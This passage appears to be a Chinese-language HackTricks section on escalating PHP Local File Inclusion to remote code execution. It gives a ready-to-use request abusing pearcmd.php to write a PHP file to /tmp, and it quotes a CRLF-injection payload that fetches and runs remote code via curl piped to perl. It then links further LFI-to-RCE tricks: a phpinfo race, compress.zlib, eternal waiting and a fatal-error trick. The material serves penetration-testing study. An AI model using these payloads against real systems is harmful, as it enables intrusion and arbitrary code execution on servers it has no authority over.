正如 [**在这篇文章中解释的**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp),脚本 `/usr/local/lib/phppearcmd.php` 在 php docker 镜像中默认存在。此外,可以通过 URL 向脚本传递参数,因为它表明如果 URL 参数没有 `=`,则应将其用作参数。
|
||
|
||
以下请求在 `/tmp/hello.php` 中创建一个内容为 `<?=phpinfo()?>` 的文件:
|
||
```bash
|
||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||
```
|
||
以下利用CRLF漏洞获取RCE(来自[**这里**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||
```
|
||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
||
%0d%0a
|
||
```
|
||
### 通过 phpinfo() (file_uploads = on)
|
||
|
||
如果你发现了 **Local File Inclusion** 并且有一个暴露 **phpinfo()** 的文件,且 file_uploads = on,你可以获得 RCE:
|
||
|
||
{{#ref}}
|
||
lfi2rce-via-phpinfo.md
|
||
{{#endref}}
|
||
|
||
### 通过 compress.zlib + `PHP_STREAM_PREFER_STUDIO` + 路径泄露
|
||
|
||
如果你发现了 **Local File Inclusion** 并且你 **可以提取临时文件的路径** 但 **服务器** 正在 **检查** 要包含的 **文件是否有 PHP 标记**,你可以尝试通过这个 **竞争条件** 来 **绕过该检查**:
|
||
|
||
{{#ref}}
|
||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||
{{#endref}}
|
||
|
||
### 通过永恒等待 + 暴力破解
|
||
|
||
如果你可以利用 LFI **上传临时文件** 并使服务器 **挂起** PHP 执行,你可以 **在数小时内暴力破解文件名** 以找到临时文件:
|
||
|
||
{{#ref}}
|
||
lfi2rce-via-eternal-waiting.md
|
||
{{#endref}}
|
||
|
||
### 导致致命错误
|
||
|
||
如果你包含任何文件 `/usr/bin/phar`、`/usr/bin/phar7`、`/usr/bin/phar.phar7`、`/usr/bin/phar.phar`。(你需要包含同一个文件 2 次以引发该错误)。
|
||
|
||
**我不知道这有什么用,但可能有用。**\
|
||
_即使你导致 PHP 致命错误,上传的 PHP 临时文件也会被删除。_
|
||
|
||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
## 参考
|
||
|
||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||
|
||
{{#file}}
|
||
EN-Local-File-Inclusion-1.pdf
|
||
{{#endfile}}
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|